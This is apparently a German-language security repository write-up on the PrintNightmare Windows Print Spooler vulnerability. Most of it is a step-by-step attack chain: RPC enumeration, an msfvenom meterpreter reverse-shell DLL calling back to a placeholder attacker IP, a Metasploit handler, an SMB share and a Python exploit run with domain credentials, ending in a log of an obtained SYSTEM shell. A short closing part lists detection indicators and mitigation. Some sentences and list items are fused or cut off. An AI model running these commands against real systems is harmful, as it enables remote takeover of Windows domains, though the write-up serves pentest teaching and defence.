
Technische Dokumentation und Analyse von PrintNightmare (CVE-2021-1675 / CVE-2021-34527), einschließlich RCE/LPE-Ausnutzung, Erkennung über Windows-Ereignisprotokolle und Gegenmaßnahmen für den Print Spooler.
Dieses Repository enthält einen detaillierten technischen Bericht (Write-up) und die Analyse eines Exploit-Konzepts für die kritische Schwachstelle im Windows-Druckwarteschlangendienst (Print Spooler), die es einem niedrig privilegierten Domänenbenutzer ermöglicht, aus der Ferne beliebigen Code mit maximalen Systemrechten auszuführen.
🛑 WARNUNG & HAFTUNGSAUSSCHLUSS: Dieses Material dient ausschließlich Bildungszwecken und der Durchführung legitimer Sicherheitsaudits (Pentest). Die Verwendung der beschriebenen Techniken gegen Systeme ohne vorherige schriftliche Zustimmung der Eigentümer ist gesetzlich strafbar.
Die Schwachstellen der PrintNightmare-Familie stellen eine kritische Bedrohung für Unternehmensumgebungen auf Basis von Windows Server und Active Directory dar. Ein architektonischer Fehler bei der Rechteprüfung in den RPC-Schnittstellen MS-RPRN (Print System Remote Protocol) und MS-PAR (Print System Asynchronous Remote Protocol) ermöglicht es, legitimerweise die Installation von Druckertreibern auf einem entfernten Server anzufordern.
Die größte Gefahr besteht darin, dass der Druckwarteschlangendienst (spoolsv.exe) standardmäßig auf den meisten Servern aktiv ist, einschließlich der Domänencontroller (Domain Controllers), und im Kontext der höchsten Privilegien NT AUTHORITY\SYSTEM arbeitet. Die Kompromittierung eines einzigen niedrig privilegierten Kontos (z. B. durch Phishing) ermöglicht es dem Angreifer, sofort die vollständige Kontrolle über die gesamte Active-Directory-Infrastruktur zu übernehmen.
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, Python-Exploit.Für die Umsetzung des Vektors der Remote-Codeausführung (RCE) sind gültige Domänenanmeldedaten eines Benutzers mit minimalen Rechten erforderlich (im Rahmen der Untersuchung bereitgestellt).
spoolsv.exe) ist auf der Ziel-Windows-Maschine aktiv und läuft mit maximalen SYSTEM-Privilegien, was eine direkte Möglichkeit zur lokalen Rechteausweitung (LPE) auf dem Host durch das Laden einer nicht vertrauenswürdigen Bibliothek eröffnet.Vor dem Start des eigentlichen Exploits muss sichergestellt werden, dass die entfernte Maschine die verwundbaren Druckprotokolle bereitstellt und für die Netzwerkkommunikation offen ist. Wir befragen die RPC-Schnittstellen des Zielsystems:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
Kontrollierte Terminalausgabe:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] und [MS-PAR] zurückgegeben. Dies bestätigt zu 100 %, dass das System die erforderlichen Remote-Druckschnittstellen unterstützt und gegenüber dem PrintNightmare-Vektor verwundbar ist.Wir erstellen eine Payload für die x64-Architektur und geben die IP-Adresse unserer Angreifermaschine für die reverse Netzwerkverbindung an:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
Der Ziel-Windows-Server muss eine legitime Möglichkeit haben, unsere DLL-Bibliothek über das Netzwerk herunterzuladen, ohne Verwendung von Drittanbieter-Utilities. Wir starten einen SMB-Server mit Unterstützung des SMBv2-Protokolls aus dem Ordner /tmp:
sudo impacket-smbserver tmp /tmp -smb2support
Wir führen das Python-Exploit-Skript aus und übergeben ihm die niedrig privilegierten Domänenanmeldedaten des Benutzers sowie den UNC-Pfad zur bösartigen Bibliothek auf unserer lokalen SMB-Freigabe:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
Log der erfolgreichen Session-Übernahme (Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM geöffnet. Das Ziel ist vollständig kompromittiert.Für Blue-Team-Spezialisten basiert die Erkennung der PrintNightmare-Exploitation auf dem Audit der Windows-Systemprotokolle und der Verfolgung anomaler Prozessaktivität.
Ein erfolgreicher Exploit-Lauf hinterlässt charakteristische Einträge in den Druck- und Systemprotokollen:
C:\Windows\System32\spool\drivers\x64\3\).Print Spooler), verursacht durch die instabile Arbeitsweise des Exploits.cmd.exe, powershell.exe) oder Datensammlungs-Utilities, deren übergeordneter Prozess der Systemprozess des Druckwarteschlangendienstes spoolsv.exe ist. Unter legitimen Bedingungen erzeugt spoolsv.exe niemals Befehls-Shells.spoolsv.exe zu externen SMB-Ressourcen (Port 445) zum Herunterladen von Treiberdateien.Disabled versetzt werden.